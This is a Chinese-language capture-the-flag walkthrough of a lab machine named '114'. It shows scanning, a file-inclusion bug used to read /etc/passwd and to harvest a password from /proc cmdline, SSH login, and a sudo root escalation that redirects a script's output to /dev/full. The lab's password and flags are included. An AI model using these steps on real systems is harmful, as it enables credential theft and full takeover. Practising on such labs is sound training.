端口扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HMV/114]
└─$ sudo nmap -p- 192.168.1.7 -oA ports
Nmap scan report for 192.168.1.7 (192.168.1.7)
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: C6:68:89:8C:90:5C (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

web 渗透

开了 80 端口,上去看一下:

image1

是个比较简单的页面,没有什么交互。

进行目录扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(kali㉿kali)-[~/HMV/114]
└─$ dirsearch -u http://192.168.1.7
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/HMV/114/reports/http_192.168.1.7/_26-01-20_19-08-36.txt

Target: http://192.168.1.7/

[19:08:36] Starting:
[19:08:37] 403 - 276B - /.ht_wsr.txt
[19:08:37] 403 - 276B - /.htaccess.bak1
[19:08:37] 403 - 276B - /.htaccess.orig
[19:08:37] 403 - 276B - /.htaccess.save
[19:08:37] 403 - 276B - /.htaccess.sample
[19:08:37] 403 - 276B - /.htaccess_orig
[19:08:37] 403 - 276B - /.htaccess_extra
[19:08:37] 403 - 276B - /.htaccessBAK
[19:08:37] 403 - 276B - /.htaccess_sc
[19:08:37] 403 - 276B - /.htaccessOLD
[19:08:37] 403 - 276B - /.htaccessOLD2
[19:08:37] 403 - 276B - /.htm
[19:08:37] 403 - 276B - /.html
[19:08:37] 403 - 276B - /.htpasswd_test
[19:08:37] 403 - 276B - /.httr-oauth
[19:08:37] 403 - 276B - /.htpasswds
[19:08:37] 403 - 276B - /.php
[19:08:41] 500 - 0B - /file.php
[19:08:45] 403 - 276B - /server-status/
[19:08:45] 403 - 276B - /server-status

Task Completed

看到 file.php 返回的是 500 状态码,说明可能需要输入参数,猜测这应该是个文件包含的页面。

wfuzz 来爆破看看需要什么参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/HMV/114]
└─$ wfuzz -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -u 'http://192.168.1.7/file.php?FUZZ=file:///etc/passwd' --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.1.7/file.php?FUZZ=file:///etc/passwd
Total requests: 74332

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000006050: 200 26 L 38 W 1394 Ch "file"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 11200
Filtered Requests: 11199
Requests/sec.: 0

可以看到,file.php 需要一个 file 参数才能正常运行,查看是否是文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/HMV/114]
└─$ curl 'http://192.168.1.7/file.php?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash

返回了 /etc/passwd 的内容,还能看到有一个 welcome 用户。

通过 php://filter/convert.base64-encode/resource=file.php 读取源码,发现后端是 file_get_contents() 执行的。

尝试了 data://text php://input 等伪协议进行命令执行,没有成功。

尝试读取 /home/welcome 下的敏感文件,没有成功,倒是可以读 user flag。

那就尝试读取 /proc 目录下的内容。

可以先在本地看看 /proc 目录下有什么内容:

image2

可以看到 /proc 下有一些以数字命名的文件夹,这些数字代表的是 进程ID ,每个进程的文件夹里面又有一些关于这个进程的信息文件,其中 environ cmdline 等都写着一些比较重要的信息。

那我们可以爆破进程号,然后看看他们的 cmdline 是否存在着有用的信息。

先写一个脚本输出 1-999 的数字作为字典,然后用这个字典去 FUZZ。

1
2
3
4
5
6
#!/bin/sh

# 方法1.1:使用传统for循环
for i in $(seq 1 999); do
echo $i
done
1
2
┌──(kali㉿kali)-[~/HMV/114]
└─$ ./exp.sh > nums.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(kali㉿kali)-[~/HMV/114]
└─$ wfuzz -w nums.txt -u 'http://192.168.0.107/file.php?file=/proc/FUZZ/cmdline' --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.0.107/file.php?file=/proc/FUZZ/cmdline
Total requests: 999

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 0 L 1 W 11 Ch "1"
000000239: 200 0 L 1 W 30 Ch "239"
000000251: 200 0 L 1 W 27 Ch "251"
000000400: 200 0 L 3 W 46 Ch "400"
000000381: 200 0 L 9 W 93 Ch "381"
000000397: 200 0 L 1 W 29 Ch "397"
000000395: 200 0 L 1 W 29 Ch "395"
000000396: 200 0 L 1 W 29 Ch "396"
000000391: 200 0 L 1 W 28 Ch "391"
000000383: 200 0 L 1 W 29 Ch "383"
000000379: 200 0 L 1 W 105 Ch "379"
000000378: 200 0 L 1 W 18 Ch "378"
000000376: 200 0 L 1 W 31 Ch "376"
000000374: 200 0 L 1 W 31 Ch "374"
000000369: 200 0 L 1 W 146 Ch "369"
000000415: 200 0 L 1 W 27 Ch "415"
000000448: 200 0 L 1 W 94 Ch "448"
000000414: 200 0 L 1 W 94 Ch "414"
000000411: 200 0 L 8 W 56 Ch "411"
000000481: 200 0 L 1 W 27 Ch "481"
000000486: 200 0 L 1 W 27 Ch "486"
000000485: 200 0 L 1 W 27 Ch "485"
000000482: 200 0 L 1 W 27 Ch "482"
000000483: 200 0 L 1 W 27 Ch "483"
000000557: 200 0 L 1 W 27 Ch "557"
000000556: 200 0 L 1 W 27 Ch "556"

Total time: 0
Processed Requests: 999
Filtered Requests: 973
Requests/sec.: 0

爆破出来了几个进程号,分别查看,发现进程号为 381 的进程泄漏了 welcome 用户的密码:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/HMV/114]
└─$ curl 'http://192.168.0.107/file.php?file=/proc/381/cmdline' --output out
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 93 100 93 0 0 6732 0 --:--:-- --:--:-- --:--:-- 7153

┌──(kali㉿kali)-[~/HMV/114]
└─$ cat out
service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080infinity

获取立足点

那就用这个账号密码进行 ssh 登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/HMV/114]
└─$ ssh welcome@192.168.0.107
welcome@192.168.0.107's password:
Linux 114 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan 20 04:48:08 2026 from 192.168.1.8
welcome@114:~$ cat user.txt
flag{user-210f652e7e3b7e7359e523ef04e96295}

获得了 user flag。

提权

sudo -l 发现 welcome 用户可以 sudo 执行两个文件:

1
2
3
4
5
6
7
welcome@114:~$ sudo -l
Matching Defaults entries for welcome on 114:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on 114:
(ALL) NOPASSWD: /opt/read.sh
(ALL) NOPASSWD: /opt/short.sh

read.sh 内容如下:

1
2
3
4
5
6
7
8
9
!/bin/bash

echo "Input the flag:"
if head -1 | grep -q "$(< /root/root.txt)"
then
echo "Y"
else
echo "N"
fi

short.sh 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

PATH=/usr/bin
My_guess=$RANDOM

echo "This is script logic"
cat << EOF
if [ "$1" != "$My_guess" ] ;then
echo "Nop";
else
bash -i;
fi
EOF

[ "$1" != "$My_guess" ] && echo "Nop" || bash -i

尝试之后,发现两个文件都不太好进行命令注入。

重点看第二个文件的这一句 [ "$1" != "$My_guess" ] && echo "Nop" || bash -i ,我们想要的是 bash -i 这个命令,他前面是用 || 连接的,所以如果我们想办法让前面的语句不成立,我们就可以执行 bash -i

这里学到一个方法,就是用 /dev/full 这个文件,这个文件可以理解为 满的磁盘 ,所以如果我们往这个文件写入内容,就会返回磁盘已满的错误。

因此,如果我们执行 short.sh 之后,把输出写入到 /dev/full ,他会返回磁盘已满的错误,这样 echo "Nop" 就无法正常执行,就可以执行后面的 bash -i 了。

如下:

1
2
3
4
5
welcome@114:~$ sudo /opt/short.sh > /dev/full
/opt/short.sh: line 6: echo: write error: No space left on device
cat: write error: No space left on device
/opt/short.sh: line 15: echo: write error: No space left on device
root@114:/home/welcome#

看到我们的 shell 标识变为了 root ,但是无法输出,因为还会报错为磁盘已满,所以我们可以用 1>&2 来把标准输出重定向到标准错误,以此来查看输出:

1
2
3
4
5
root@114:/home/welcome# whoami 1>&2
root
root@114:/home/welcome# cat /root/root.txt 1>&2
flag{root-c3dbe270140775bb9fc6eaa2559f914f}
root@114:/home/welcome#

拿到了 root flag。